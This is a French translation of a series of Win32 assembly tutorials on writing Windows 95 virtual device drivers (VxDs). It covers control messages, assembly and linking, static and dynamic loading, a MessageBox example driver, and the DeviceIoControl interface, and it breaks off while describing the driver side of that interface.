Cette macro et son homologue de fermeture définissent la procédure de contrôle du Device laquelle est la fonction que le VMM appelle quand il y a des messages de contrôle pour votre VxD. Vous devez spécifier la première moitié du nom de la procédure de contrôle, dans notre exemple nous employons FIRSTVXD. La macro ajoutera _Control au nom que vous avez fourni. Ce nom doit correspondre à celui que vous avez spécifié dans le paramètre CtrlProc de la macro Declare_virtual_device. La procédure de contrôle du Device est toujours dans un segment de type locké (VxD_LOCKED_CODE_SEG). La susdite procédure de contrôle ne fait rien. Vous devez spécifier quels sont les messages de contrôle auxquels votre VxD s'intéresse pouvoir les traiter, c'est exactement le même procédé pour une simple procédure de fenêtre). Employez la macro Control_Dispatch à cette fin.
Control_Dispatch message, function
Par exemple, si votre VxD traite seulement le message Device_Init, alors votre procédure de contrôle de Device ressemblera à ceci :
Begin_Control_Dispatch FIRSTVXD
Control_Dispatch Device_Init, OnDeviceInit
End_Control_DispatchFIRSTVXD
OnDeviceInit est le nom de la fonction qui traitera chaque message Device_Init. Vous pouvez nommer votre fonction comme ça vous chante.
Vous terminez le code source du VxD avec la directive end
Pour récapituler, au minimum, un VxD doit présenter un bloc de contrôle de Device et une procédure de contrôle Device.
- un 'bloc de contrôle de Device' pour détecter les messages reçus.
- une 'procédure de contrôle de Device' pour traiter le message et agir en fonction.
 Déclarez un bloc de contrôle de Device avec la macro Declare_Virtual_Device et une procédure de contrôle de Device avec la macro Begin_Control_Dispatch. Vous devez exporter le bloc de contrôle de Device en spécifiant son nom sous la directive EXPORTS dans le fichier .DEF.

Assemblage du VxD

Le processus d'assemblage est le même que celui employé pour l'assemblage d'une application win32 normale (un programme 32bit). Vous invoquez ml.exe sur le code asm source et liez ensuite le fichier objet avec link.exe. Les différences sont dans les commutateurs de ligne de commande employés par ml.exe et link.exe

ml -coff -c -Cx -DMASM6 -DBLD_COFF -DIS_32 firstvxd.asm

-coff spécifie un format d'objet de type COFF
-c Assemble seulement. N'appelez pas le linker pour lier le fichier objet, puisque nous appellerons link.exe plus tard avec plus de paramètres.
-Cx Préserve les chaînes de caractères publics, des labels externes.
-D<text> définit un texte macro. Par exemple,-DBLD_COFF définit un texte macro BLD_COFF lequel sera employé pour des assemblages conditionnels. Si ça vous intéresse, vous pouvez chercher BLD_COFF dans les fichiers 'include' et voir vous-même quel effet il a sur le processus d'assemblage. Ainsi dans les commutateurs de ligne de commande ci-dessus, trois textes macros sont définis : BLD_COFF, IS_32 et MASM6. Si vous êtes familiers avec le C, ce processus est identique :

#define BLD_COFF
#define IS_32
#define MASM6
link -vxd -def:firstvxd.def firstvxd.obj

-vxd indique que nous voulons construire un VxD pour le fichier objet
-def:<.DEF File> indique le nom du fichier de définition du module du VxD

je trouve plus commode d'employer le makefile mais vous pouvez créer un fichier batch (*.bat) pour automatiser le processus d'assemblage si vous n'aimez pas l'approche du makefile. Voici mon makefile.

NAME=firstvxd

$(NAME).vxd:$(NAME).obj
link -vxd -def:$(NAME).def $(NAME).obj

$(NAME).obj:$(NAME).asm
ml -coff -c -Cx -DMASM6 -DBLD_COFF -DIS_32 $(NAME).asm

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Virtual Device Driver Programming: Primer

Programmation d'un VxD : élémentaire
(VxD Programming: Primer)

Nous savons comment construire un VxD qui ne fait rien. Dans ce tutorial, nous allons le rendre plus productif en lui ajoutant des 'control message handlers' ou des traiteurs de message de contrôle.

Initialisation et Terminaison du VxD

Il y a deux types de VxDs : statiques et dynamiques. Chaque type présente une méthode de chargement différente. Ils reçoivent également une initialisation et des messages de terminaison différents.

VxD statics:

Le VMM (le Manager de Machines Virtuelles) charge un VxD static lorsque:
  • Un programme résidant en mode réel utilise le service 1605h de l' int 2Fh, pour le charger
  • Le VxD est présent dans la base des registres sous forme de clef :
      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\key\StaticVxD=pathname
  • Le VxD est présent dans le fichier system.ini dans la section [386enh] :

      • device=pathname
Pendant la phase de d'apprentissage, je suggère que vous chargiez le VxD grâce à system.ini parce que si quelque chose tourne mal avec votre VxD avant même que Windows n'ait été lancé, vous pourrez toujours éditer system.ini sous DOS. Vous ne pouvez pas faire ça si vous optez pour la méthode de la base des registres.
Quand le VMM charge votre VxD statique, votre VxD reçoit trois messages de contrôle de système dans l'ordre suivant :
  • Sys_Critical_Init Le VMM envoie ce message de contrôle après avoir commuté en mode protégé, mais avant que la interruption n'ait été activée. La plupart des VxDs n'ont pas besoin de manipuler ce message sauf quand :
    • Votre VxD hook (accroche) quelques interruptions lesquelles seront appelées plus tard par d'autres VxDs ou des programmes en mode protégé. Pendant ce temps les interruptions sont mises hors service quand vous traitez ce message de contrôle. Vous pouvez être certains que ces interruptions ne seront jamais appelées pendant le temps où vous les hookez.
    • Votre VxD fournit certains services qui seront appelés pendant l'initialisation par d'autre VxDs. Par exemple, certains VxDs étant chargés après le vôtre peuvent avoir besoin d'appeler un des services de votre VxD pendant le traitement du message de contrôle Device_Init. Lorsque le message Sys_Critical_Init est envoyé avant le message Device_Init, vous devez initialiser vos services pendant le message Sys_Critical_Init.
    Si vous traitez ce message, vous devez faire votre initialisation aussi rapidement que possible afin d'éviter d'éventuels plantages d'interruption matériel (hardware interrupt) due aux excès de latence. (Souvenez-vous : les interruptions sont mis hors service)
  • Device_Init Le VMM envoie ce message de contrôle après que l'interruption le permette. En réponse à ce message, la plupart des VxDs exécutent l'initialisation. Une fois que l'interruption l'ait permis, n'importe quelle opération de longue durée peut commencer sans crainte d'un plantage matériel. Vous devez faire votre initialisation ici (si nécessaire).
  • Init_Complete Le VMM envoie ce message de contrôle après que tous les VxDs aient traités le message Device_Init, mais avant que le VMM n'ait réalisé toutes les initialisations des segments (les classes de segment ICODE et RCODE…). Peu de VxDs ont besoin de traiter ce message.
Votre VxD doit purifier le Flag CARRY si l'initialisation s'est déroulée avec succès sinon vous devez mettre le Flag CARRY à 1 en cas d'erreur avant retourner. Si votre VxD n'a pas besoin d'initialisation, vous n'avez besoin de traiter aucun des trois messages d'initialisation.
Quand il est temps pour terminer le VxD statique, le VMM envoie les messages de contrôle suivants :
  • System_Exit2 Lorsque votre VxD reçoit ce message, Windows 95 est sur le point de se fermer. Toutes les autres Machines Virtuelles (VMs), mis à part le système VM sont déjà détruites. Cependant le CPU est toujours en mode protégé et ça reste toujours casi impossible d'exécuter le code en mode réel dans le système VM. A ce moment, Kernel32.dll a déjà été déchargée.
  • Sys_Critical_Exit2 Votre VxD reçoit ce message quand tous les VxDs ont traités le message System_Exit2 et que les interruptions sont mises hors service.
La plupart des VxDs n'ont pas besoin de traiter ces messages, sauf quand vous voulez préparer le système pour passer au mode réel. Vous devez savoir que lorsque Windows 95 se referme, il revient en mode réel. Ainsi si votre VxD a fait quelque chose au mode réel, ça le rendra instable, il doit rétablir le changement pendant ce temps.
Vous pouvez vous demander pourquoi ces deux messages de fin ont tous les deux un "2" de rajouté. Rappelez-vous que lorsque le VMM charge les VxDs statiques, pendant l'initialisation il charge les VxDs d'ordre inférieur les premiers, ainsi les VxDs suivants peuvent compter sur les services des VxDs qui ont déjà été chargés avant eux. Par exemple, si VxD2 compte sur les services de VxD1, on doit spécifier que son ordre d'initialisation doit être plus grand que celui de VxD1. L'ordre de chargement serait :
..... VxD1 ===> VxD2 ===> VxD3 .....
Maintenant pendant le déchargement, il est raisonnable que ce soient les VxDs qui ont été initialisés les plus tard qui doivent être détruit les premiers. Ainsi les VxDs les derniers initialisés ont toujours la possibilité d'appeler les services des premiers VxDs, ce qui n'aurait pas été vrai si ont avait fait l'inverse. Donc dans l'exemple ci-dessus, l'ordre de déchargement doit être :
.... VxD3 ===> VxD2 ===> VxD1.....
Dans le susdit exemple, si VxD2 a appelé certains des services de VxD1 pendant l'initialisation, il peut de nouveau avoir besoin de compter sur les services de VxD1 pendant le déchargement. System_Exit2 et Sys_Critical_Exit2 sont envoyé dans l'ordre inverse d'initialisation . Ça signifie que, lorsque VxD2 reçoit ces messages, VxD1 n'a pas encore été désinitialiser et on peut toujours appeler les services de VxD1. Les messages System_Exit et Sys_Critical_Exit ne sont pas envoyés dans l'ordre inverse de l'initialisation. Ça signifie que lorsque vous traitez ces deux messages, vous ne pouvez pas être sûrs que vous pouvez encore appeler les services des VxDs qui ont été chargés avant ça. Ces messages ne doivent pas être employés pour les VxDs les plus nouveau.
Il y a encore deux messages de sortie :
  • Device_Reboot_Notify2 informe le VxD que le VMM va redémarrer le système. On permet toujours aux interruptions d'intervenir à ce niveau là.
  • Crit_Reboot_Notify2 informe le VxD que le VMM va redémarrer le système. Les interruptions sont mis hors service.
Maintenant, vous être capables de comprendre qu'il y existe les messages Device_Reboot_Notify et Crit_Reboot_Notify mais qu'ils ne sont pas envoyés dans l'ordre inverse de l'initialisation comme dans la version "2".

Les VxDs Dynamics:

Les VxDs Dynamiques peuvent être chargés et déchargés dynamiquement pendant les sessions de Windows 9x. Cette particularité n'est pas disponible sous Windows 3.x. Le but principal des VxDs dynamiques c'est de permettre une reconfiguration dynamique du matériel comme les devices Plug and Play. Cependant, vous pouvez également les charger/décharger de vos applications win32, faisant d'eux (ces VxDs Dyn) des extensions idéales pour vous applications Ring-0.
L'exemple du Tutorial précédent est un VXD statique. Vous pouvez convertir cet exemple en un VXD dynamique en ajoutant le mot-clé DYNAMIC à la déclaration VXD dans le fichier .DEF.
VXD FIRSTVXD DYNAMIC
C'est tout que ce vous devez faire pour convertir un VxD statique en un VxD dynamique.
Un VxD Dynamique peut être chargé soit :
  • En le mettant dans le dossier \SYSTEM\IOSUBSYS de Windows. Les VxDs de ce dossier seront chargés par le Superviseur d'entrées/sorties (IOS). Les VxDs de ce dossier doivent supporter des Drivers multi-couches (layer device drivers) donc il se peut que ce ne soit pas une bonne idée de charger votre VxD dynamique par cette méthode.
  • En utilisation le service du Loader de VxD.VxDLDR est un VxD statique qui peut charger des VxDs dynamiques. Vous pouvez appeler ses services pour d'autres VxDs ou pour du code 16 bits.
  • En utilisant l'API CreateFile dans votre application Win32. Vous indiquez le VxD dynamique que vous souhaitez charger grâce à CreateFile en vous servant de :

      • \\.\pathname

    Par exemple, si vous voulez charger le VxD dynamique nommé FirstVxD qui est dans la liste d'adresses actuelle, vous devez le faire comme suit :

    .data
    VxDName db "\\.\FirstVxD.VXD",0
    ......
    .data?
    hDevice dd ?
    .....
    .code
    .....
    invoke CreateFile, addr VxDName,0,0,0,0, FILE_FLAG_DELETE_ON_CLOSE,0
    mov hDevice,eax
    ......
    invoke CloseHandle,hDevice
    ......

Le flag FILE_FLAG_DELETE_ON_CLOSE indique que le VxD est déchargé dès que son handle est renvoyé par CreateFile.
Si vous employez CreateFile pour charger un VxD dynamique, ce VxD must traiter le message w32_DeviceIoControl. VWIN32 envoie ce message de contrôle à votre VxD dynamique lorsqu'il est chargé par la méthode CreateFile. Votre VxD doit retourner la valeur 0 dans eax en réponse à ce message. Plusieurs messages w32_DeviceIoControl sont également envoyés quand l'application appelle l'API DeviceIoControl pour communiquer avec le VxD. Nous examinerons DeviceIoControl dans les futurs tutorials.
Un VxD dynamique reçoit un message pendant son initialisation :
  • Sys_Dynamic_Device_Init
Et un message de contrôle pour sa terminaison :
  • Sys_Dynamic_Device_Exit
Un VxD dynamique ne recevra pas les messages de contrôle Sys_Critical_Init, Device_Init ni Init_Complete parce que ces messages sont envoyés pendant que le système VM procède à son initialisation. Il y en a autres, tous les VxDs dynamiques reçoivent d'autres messages de contrôle une fois qu'ils sont en mémoire. Ils peuvent faire tout ce que font les VxDs statiques. Bref, les VxDs dynamiques sont chargés par des mécanismes différents et reçoivent également des messages de contrôle d'initialisation/terminaison différents, mais ils peuvent faire tout ce que font les VxDs statiques.

D'autres Systèmes de messages de Contrôle :

Pendant le temps où un VxD reste en mémoire, il recevra beaucoup de messages de contrôle, autres que ceux liés à l'initialisation et la terminaison. Quelques-uns d'entre eux sont conçus pour la gestion des machines virtuelles et quelques-uns pour divers événements. Voici par exemple quelques messages de contrôle VM-liés :
  • Create_VM
  • VM_Critical_Init
  • VM_Suspend
  • VM_Resume
  • Close_VM_Notify
  • Destroy_VM
C'est à vous de répondre ou non aux messages de contrôle pour lesquels vous êtes intéressé.

Création des procédures à l'intérieur d'un VxD

Dans un VxD vous devez déclarez une procédure à l'intérieur d'un segment. Vous devez d'abord définir un segment et ensuite mettre votre procédure à l'intérieur. Par exemple, si vous voulez que votre fonction soit dans un segment pageable (un segment où on peut modifier du code ou des données), vous devez d'abord définir un pageable segment, comme cela :
VxD_PAGEABLE_CODE_SEG

[VOTRE PROÉCDURE ICI]

VxD_PAGEABLE_CODE_ENDS

Vous pouvez placer plusieurs procédures à l'intérieur d'un segment. Vous comme êtes l'auteur du VxD, c'est à vous de décider dans quel segment vous devez mettre vos procédures. Si vos procédures doivent être présent en mémoire tout le temps comme les manipulateurs d'interruption matériel (hardware interrupt handlers), il faut les mettre dans un segment fermé (Page-locked contraire de Pageable). Autrement vous devez les mettre dans le segment pageable.
Vous définissez votre procédure avec les macros BeginProc et EndProc.
BeginProc name

EndProc name

name est le nom de la procédure. La macro BeginProc peut prendre encore plusieurs paramètres, vous devez consulter la documentation Win95 DDK pour plus de détails. Mais la plupart du temps, vous pouvez vous contenter du nom de la procédure.
Vous devez employer les macros BeginProc-EndProc au lieu des habituelles directives proc-endp parce que les macros BeginProc-EndProc fournissent plus de fonctionnalités que proc-endp.

Convention de codage pour les VxDs

Utilisation des Registres

Votre VxD peut utiliser n'importe quels registres généraux, FS et GS. Mais vous devez prendre garde à la modification des registres de segment. Particulièrement, vous ne devez sûrement pas changer CS où SS à moins que vous ne soyez tout à fait certain que vous savez ce que vous faites. Vous pouvez employer DS et ES tant que vous n'oubliez pas de rétablir leurs valeurs avant de retourner. Deux Flags sont particulièrement importants : les Flags de direction et d'interruption. Vous ne devez pas désactiver les interruptions pendant une longue période de temps, quant au flag de direction si vous le modifiez n'oubliez pas de rétablir son état précédent avant le retour.

Convention sur les paramètres de passage

Il y a deux types de conventions d'appel pour les services des VxD : les registres de base ou la pile. Avec les services utilisants les registres de base, vous passez des paramètres aux services grâce à divers registres et vous pouvez vérifier le flag CARRY après l'appel du service pour voir si l'opération s'est correctement déroulée. Vous ne pouvez pas admettre que les valeurs des registres généraux seront préservés après l'appel des services. Avec des services utilisant la pile, vous poussez les paramètres sur la pile et vous obtenez la valeur de retour dans eax. Des services utilisant la pile préservent ebx, esi, edi et ebp. La plupart des services qui utilisent les registres sont des produits des vieux jours de Windows 3.x. La plupart du temps, vous pouvez différencier ces deux sortes de services en regardant les noms. Si le nom du service commence par un souligné comme _HeapAllocate, alors c'est qui utilise la pile (C) (à part quelques services exportés par VWIN32.VxD). Si le nom du service ne commence pas par un souligné, c'est un service qui utilise les registres de base.

Appeler les services d'un VxD

Vous appelez les services du VMM (du Manager de Machine Virtuelle) et des VxDs (des Virtual Device Driver) en employant les macros VMMCall et VxDCall. Ces deux macros ont exactement la même syntaxe. Vous employez VMMCall quand vous voulez appeler les services d'un VxD exportés par le VMM et vous employez VxDCall quand vous appelez les services exportés par autres VxDs que le VMM.
VMMCall service ; Pour appeler des services basés sur les regitres
VMMCall _service, <argument list> ; Pour appeler les services basés sur la pile
VMMCall et VxDCall sont en réalité la composition d'une int 20h suivie d'un dword que j'ai décrit dans le tutorial précédent mais ils sont beaucoup plus commodes à employer. Dans le cas de services basés sur pile, vous devez inclure la liste d'argument avec une paire de parenthèse angulaire [].
VMMCall _HeapAllocate, <<size mybuffer>, HeapLockedIfDP>
_HeapAllocate est un service basé sur la pile. Il accepte deux paramètres. Nous devons les inclure à l'intérieur d'une parenthèse angulaire. Cependant, le premier paramètre est une expression que la macro peut mal interpréter, donc nous le mettons à l'intérieur d'une autre parenthèse angulaire.

Adresses Flats (Plates)

Dans des outils plus vieux, l'assembleur et le linker produisent des adresses incorrectes quand vous employez l'operateur offset. Ainsi les programmeurs de VxD utilisent offset flat: au lieu d' offset. vmm.inc contient une macro pour rendre ça plus simple. OFFSET32 développer offset flat:. Ainsi si vous voulez employer cet opérateur de compensation, vous devez employer OFFSET32 au lieu de offset flat: .

Note: j'ai expérimenté la compensation Offset32 quand j'ai écris ce Tutorial. Ça a produit des adresses correctes donc je pense que le bogue a été enlevé dans MASM 6.14. Mais pour que ça reste correcte, vous devez employer la macro OFFSET32 au lieu de l'habituel offset.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


VxD Example:MessageBox

Exemple de VxD: MessageBox

Dans les tutorials précédent, vous avez appris le mécanisme de programmation des VxDs. Il est maintenant temps d'appliquer ce que vous avez appris. Dans ce tutorial, nous allons créer un simple VxD statique qui affichera une boîte de message (MessageBox) à chaque fois qu'une VM (une Machine Virtuelle) est créée ou détruite. Donc dès que vous lancerez un nouveau programme, une machine virtuelle sera créée pour qu'il tourne dessus et ainsi un MessageBox apparaîtera.
Téléchargez l'exemple ici.

Détection des événements de création et de terminaison d'une VM

Quand une VM est créée, le VMM (Manager de Machines Virtuelles) envoie le message de contrôle Create_VM à tous les VxDs. De la même façon, quand une VM est terminée (détruite) normalement, il envoie VM_Terminate et VM_Terminate2 à tous les VxDs. Notre travail est simple : notre programme va capturer les messages Create_VM et VM_Terminate2 dans sa procédure de contrôle de Device. Quand notre VxD reçoit ces deux messages de contrôle, il affiche une MessageBox à l'écran.
Quand notre VxD reçoit le message Create_VM ou VM_Terminate2, ebx contient le handle de la Machine Virtuelle (VM). Le handle de la VM peut être considéré comme un n°ID unique. Chaque VM a son unique ID (VM handle). Vous pouvez employer le handle de la Machine Virtuelle (VM) de la même façon que vous employez un n°ID pour un process, en le passant comme paramètre aux services qui en ont besoin.
En regardant de plus près, le handle de la VM est en réalité une adresse linéaire 32 bits du Le bloc de contrôle VM (VMCB).
Le Bloc de Contrôle VM est une structure qui contient plusieurs informations importantes sur la Machine Virtuelle (VM). Il est défini ainsi :
    cb_s STRUC
    CB_VM_Status        DD ?
    CB_High_Linear      DD ?
    CB_Client_Pointer   DD ?
    CB_VMID             DD ?
    CB_Signature        DD ?
    cb_s ENDS
  • CB_VM_Status Contient les flags que vous pouvez examiner pour voir l'état de la VM.
  • CB_High_Linear est l'adresse linéaire de départ de la copie de la VM dans la région du système partagé (après 3 Go). Ce concept exige une explication. Sous Windows 95, un VxD (Driver de Device (matériel) Virtuel) ne doit pas toucher directement à la région V86 au lieu de ça le VMM mappe la totalité de la région V86 de chaque VM dans la région partagée du système. Quand un VxD veut modifier/toucher à la mémoire de la région V86 de la Machine Virtuelle (VM), il doit le faire dans le secteur linéaire haut de la VM. Par exemple, si la mémoire vidéo est à 0B8000h et votre VxD a besoin de toucher ce secteur, il doit ajouter la valeur de CB_HIGH_LINEAR à 0B8000h et toucher ce secteur à la place. Les changements que vous avez faits à la copie linéaire haute seront reflétés à la VM parce que les deux secteurs partagent la même entrée de liste d'adresses de page. L'utilisation de la copie linéaire haute est la meilleure dans la plupart des situations parce que vous pouvez modifier la VM même si ce n'est pas la VM qui est en train de fonctionner.
  • CB_Client_Pointer contient l'adresse du client register structure. Le client register structure contient les valeurs de tous les registres de l'application qui tourne en mode interruption V86 ou mode protégé sur la Machine Virtuelle (VM). Si votre VxD veut connaître ou modifier l'état de l'application (V86 ou MP), elle peut modifier les membres du client register structure et les changements se propageront à la application lorsque le VMM reprendra son exécution.
  • CB_VMID est le n° qui identifie la Machine Virtuelle (VM). Le Manager de Machines Virtuelles (VMM) assigne ce numéro au moment où il crée la VM. Le système VM (la machine principale) possède le VMID (le n°ID de MV) de 1.
  • CB_Signature contient la chaîne de caractère "VMcb". Ce membre est employé quand on vérifie si le handle de la VM est valide.

Affichage d'une MessageBox

Un VxD peut utiliser les services du Virtual Shell Device pour communiquer avec les utilisateurs. Dans cet exemple, nous allons utiliser un tel service. Nous allons utiliser SHELL_Message.
SHELL_Message est un service de registre. Vous passez vos paramètres grâce aux registres (on ne les pousse pas sur la pile).
  • ebx est le handle de la Machine Virtuelle (VM) qui est responsable du message
  • eax contient les flags de la MessageBox. Vous pouvez les retrouver dans le fichier shell.inc. Ils commencent par MB_. (ex : eax=MB_OK pour une MessageBox avec 1 unique bouton OK)
  • ecx est une adresse linéaire 32 bits du message à afficher (le contenu de la MessageBox).
  • edi est une adresse linéaire 32 bits du titre de la MessageBox.
  • esi est l'adresse linéaire 32 bits du retour de service de la fonction au cas où vous auriez besoin de traiter la réponse de l'utilisateur pour cette MessageBox. Si ça n'a pas d'importance pour ce que vous souhaitez faire, employer un NULL. (ex : en temps normal si vous avez une MessageBox avec un bouton YES et un bouton NO, en cliquant sur YES eax prend la valeur 6, si on clique sur NO eax prend la valeur de retour 7. Dans un VxD ce n'est plus eax qui prend la valeur de retour mais esi)
  • edx référence la donnée que l'on passera à notre CallBack (après le retour du Call) (si vous en avez spécifiez une dans esi)
En retour, le flag CARRY est mis à 0 si l'appel est couronné de succès. Le flag CARRY est mis à 1 autrement.

Exemple

.386p
include vmm.inc
include shell.inc

DECLARE_VIRTUAL_DEVICE MESSAGE,1,0, MESSAGE_Control, UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Begin_control_dispatch MESSAGE
Control_Dispatch Create_VM, OnVMCreate
Control_Dispatch VM_Terminate2, OnVMClose
End_control_dispatch MESSAGE

VxD_PAGEABLE_DATA_SEG
MsgTitle db "VxD MessageBox",0
VMCreated db "A VM is created",0
VMDestroyed db "A VM is destroyed",0
VxD_PAGEABLE_DATA_ENDS

VxD_PAGEABLE_CODE_SEG
BeginProc OnVMCreate
mov ecx, OFFSET32 VMCreated
CommonCode:
VMMCall Get_sys_vm_handle
mov eax,MB_OK+MB_ICONEXCLAMATION
mov edi, OFFSET32 MsgTitle
xor esi,esi
xor edx,edx
VxDCall SHELL_Message
ret
EndProc OnVMCreate

BeginProc OnVMClose
mov ecx,OFFSET32 VMDestroyed
jmp CommonCode
EndProc OnVMClose
VxD_PAGEABLE_CODE_ENDS

end

Analyse:

Begin_control_dispatch MESSAGE
Control_Dispatch Create_VM, OnVMCreate
Control_Dispatch VM_Terminate2, OnVMClose
End_control_dispatch MESSAGE
Le VxD traite les deux messages de contrôle, Create_VM et VM_Terminate2 . Lorsque le message Create_VM est reçu, on appelle la procédure OnVMCreate. Et quand il reçoit le message VM_Terminate2, on appelle la procedure OnVMClose.
VxD_PAGEABLE_DATA_SEG
MsgTitle db "VxD MessageBox",0
VMCreated db "A VM is created",0
VMDestroyed db "A VM is destroyed",0
VxD_PAGEABLE_DATA_ENDS
Nous mettons les données dans le segment de données (pageable).
BeginProc OnVMCreate
mov ecx, OFFSET32 VMCreated
CommonCode:
VMMCall Get_sys_vm_handle
mov eax,MB_OK+MB_ICONEXCLAMATION
mov edi, OFFSET32 MsgTitle
xor esi,esi
xor edx,edx
VxDCall SHELL_Message
ret
EndProc OnVMCreate
La procédure OnVMCreate est créée en employant les macros BeginProc et EndProc. On met les paramètres pour du service SHELL_Message dans les registres. Puisque nous voulons afficher la MessageBox dans le système VM, nous ne pouvons pas utiliser la valeur de ebx (qui est le handle de la Machine Virtuelle VM qui est créée). Au lieu de ça, nous employons un service du Manager de Machines Virtuelles (VMM), Get_Sys_VM_handle, pour obtenir le handle du système VM (la Machine Virtuelle principale). Ce service renvoie le handle de la VM dans ebx. Nous plaçons respectivement les adresses du message et du titre dans ecx et edi. Nous ne souhaitons pas connaître la réponse de l'utilisateur, donc on met esi et edx à zéro. Quand tous les paramètres sont dans les registres appropriés, nous appelons SHELL_Message pour afficher la MessageBox.
BeginProc OnVMClose
mov ecx,OFFSET32 VMDestroyed
jmp CommonCode
EndProc OnVMClose
La procédure OnVMClose est une simplicité en soi. Puisque on emploie un code identique à celui de OnVMCreate, on initialise ecx avec l'adresse du message différent et on re-saute ensuite au code de OnVMCreate .

Module de définition des fichiers

VXD MESSAGE

SEGMENTS
    _LPTEXT      CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LTEXT       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LDATA       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TEXT        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _DATA        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    CONST        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TLS         CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _BSS         CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LMGTABLE    CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _LMSGDATA    CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _IMSGTABLE   CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _IMSGDATA    CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _ITEXT       CLASS 'ICODE'    DISCARDABLE
    _IDATA       CLASS 'ICODE'    DISCARDABLE
    _PTEXT       CLASS 'PCODE'    NONDISCARDABLE
    _PMSGTABLE   CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PMSGDATA    CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PDATA       CLASS 'PDATA'    NONDISCARDABLE SHARED
    _STEXT       CLASS 'SCODE'    RESIDENT
    _SDATA       CLASS 'SCODE'    RESIDENT
    _DBOSTART    CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBOCODE     CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBODATA     CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _16ICODE     CLASS '16ICODE'  PRELOAD DISCARDABLE
    _RCODE       CLASS 'RCODE'

EXPORTS

    MESSAGE_DDB  @1

Processus d'assemblage

ml -coff -c -Cx -DMASM6 -DBLD_COFF -DIS_32 message.asm

link -vxd -def:message.def message.obj

Installation du VxD

  1. Mettez le fichier 'message.vxd' dans le répertoire \system
  2. Ajoutez la ligne suivante à la fin de la section [386enh] qui se trouve dans le fichier system.ini
      3. device=message.vxd
  3. Redémarrez votre ordinateur

Test du VxD

Ouvrez une session DOS. Vous verrez la MessageBox, affichant le message, "une VM est créée (en anglais)". Quand vous refermez la fenêtre DOS, une autre MessageBox apparaît avec le message, "une VM est détruite".
[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Dynamic VxD and DeviceIoControl Interface

L'Interface DeviceIoControl

Nous allons nous intéresser aux VxDs dynamiques dans ce Tutorial. Spécifiquement, nous allons apprendre à les créer, les charger et les employer.
Downloadez l'exemple ici.

VxD Interfaces

Les VxDs constituent un ensemble de 4 types d'interfaces.
  • Les services de VxD
  • L'interface V86
  • L'interface Mode Protègé (PM)
  • Et l'interface 'Win32 DeviceIoControl'
Nous connaissons déjà les services des VxDs. Les interfaces V86 et PM sont des fonctions qui sont CALLables à partir d'applications tournant respectivement en mode V86 et PM. Vu que les applications V86 et PM sont des 16 bits, nous ne pouvons employer aucune de ces deux interfaces pour une application win32. Avec Windows 95, Microsoft ajoute une autre interface pour les applications win32 ainsi ils peuvent appeler les services des VxDs, c'est l'interface: DeviceIoControl.

L'interface DeviceIoControl

Pour rester simple, l'interface DeviceIoControl est une manière pour les applications win32 d'appeler des fonctions à l'intérieur des VxDs. Ne confondez pas les fonctions appelées grâce à DeviceIoControl et les services VxD : ce ne sont pas les mêmes. Par exemple, la fonction n°1 DeviceIoControl n'est pas la même que le service VxD n°1. Vous pouvez vous représenter la fonctions DeviceIoControl un peu comme un groupe de fonctions à part, uniquement prévues pour des applications win32.
Puisque c'est une interface, il y a deux parties :

Du côté de l'application win32 :

Notre programme (l'application) doit d'abord appeler la fonction CreateFile pour ouvrir/charger un VxD. Si l'appel est couronné de succès, le VxD sera en mémoire et CreateFile renverra l' handle du VxD dans eax.
Ensuite on appelle la fonction API DeviceIoControl pour choisir la fonction à exécuter. DeviceIoControl présente la syntaxe suivante :
    DeviceIoControl PROTO hDevice:DWORD,\
    dwIoControlCode:DWORD,\
    lpInBuffer:DWORD,\
    nInBufferSize:DWORD,\
    lpOutBuffer:DWORD,\
    nOutBufferSize:DWORD,\
    lpBytesReturned:DWORD,\
    lpOverlapped:DWORD
  • hDevice est l'handle du VxD renoyer par CreateFile
  • dwIoControlCode est la valeur qui spécifie quelle opération doit exécuter le VxD. Vous devez d'une façon ou d'une autre obtenir la liste des valeurs possibles de dwIoControlCode pour un VxD avant que vous ne sachiez quelle opération vous devez choisir. Mais la plupart du temps, vous êtes celui qui code le VxD, ainsi vous CONNAISSEZ la liste de toutes les valeurs possibles de dwIoControlCode.
  • lpInBuffer est l'adresse du Buffer qui contient les données que le VxD a besoin d'utiliser pour exécuter l'opération indiquée dans dwIoControlCode. Si l'opération n'a pas besoin de données, vous pouvez lui passer le paramètre NULL.
  • nInBufferSize est la taille du buffer contenant les données en octets, indiqué par lpInBuffer.
  • lpOutBuffer est l'adresse du buffer que le VxD remplira avec les données de Sorties lorsque l'opération sera couronnée de succès. Si l'opération n'a pas de données à retourner, ce paramètre peut rester NULL .
  • nOutBufferSize est la taille du buffer, en octets, indiqué par lpOutBuffer
  • lpBytesReturned est l'adresse d'une variable dword laquelle recevra la taille des données que le VxD remplira dans lpOutBuffer .
  • lpOverlapped est l'adresse de la structure OVERLAPPED si vous voulez que l'opération soit asynchrone. Si vous voulez attendre avant que l'opération ne soit finie, mette NULL dans ce paramètre. Asynchrone signifie que que le Progamme et le VxD communiquent en même temps. Synchrone, l'un parle et l'autre ne peut répondre qu'une fois que le premier à fini. Mais laissez un NULL ça changera pas grand chose.

Du côté du VxD :

Il doit traiter le message w32_deviceIoControl. Lorsque le VxD reçoit le message w32_deviceIoControl, ses registres ont les valeurs suivantes :
  • ebx contient l'handle de la Machine Virtuelle (VM).
  • esi pointe sur la structure DIOCParams qui contient l'information a passer à l'application win32.
